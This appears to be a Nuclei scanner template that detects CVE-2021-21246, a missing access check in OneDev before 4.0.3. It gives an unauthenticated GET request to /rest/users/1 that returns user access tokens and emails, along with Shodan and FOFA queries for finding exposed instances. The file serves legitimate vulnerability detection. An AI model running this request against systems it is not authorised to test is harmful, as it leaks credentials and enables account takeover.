id: CVE-2021-21246 info: name: OneDev < 4.0.3 - User Access Token Leak author: DhiyaneshDk severity: high description: | OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions. impact: | Attackers can access sensitive user data and tokens, leading to impersonation, data leaks, and potential full account compromise. remediation: | Update to version 4.0.3 or later where user info is removed from the REST API. reference: - https://github.com/theonedev/onedev/security/advisories/GHSA-66v7-gg85-f4gx - https://github.com/theonedev/onedev/commit/a4491e5f79dc6cc96eac20972eedc8905ddf6089 - https://nvd.nist.gov/vuln/detail/CVE-2021-21246 - https://securitylab.github.com/advisories/GHSL-2020-214_223-onedev/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cve-id: CVE-2021-21246 cwe-id: CWE-862 epss-score: 0.24883 epss-percentile: 0.96294 metadata: verified: true max-request: 1 vendor: onedev_project product: onedev shodan-query: title:"OneDev" fofa-query: title="OneDev" tags: cve,cve2021,onedev,auth-bypass,token-leak http: - method: GET path: - "{{BaseURL}}/rest/users/1" headers: Content-Type: application/json matchers-condition: and matchers: - type: word part: body words: - '"accessToken"' - '"email"' condition: and - type: word part: content_type words: - "application/json" - type: status status: - 200 # digest: 4b0a00483046022100d82d51d7222638d9eae127728b5fbf03da89e5b222cf3fba376e6edd7990dee0022100ecef5acc17597c760fc2a72181d517af89bd02493b45cbd0f47dc90f64dd136e:922c64590222798bb761d5b6d8e72950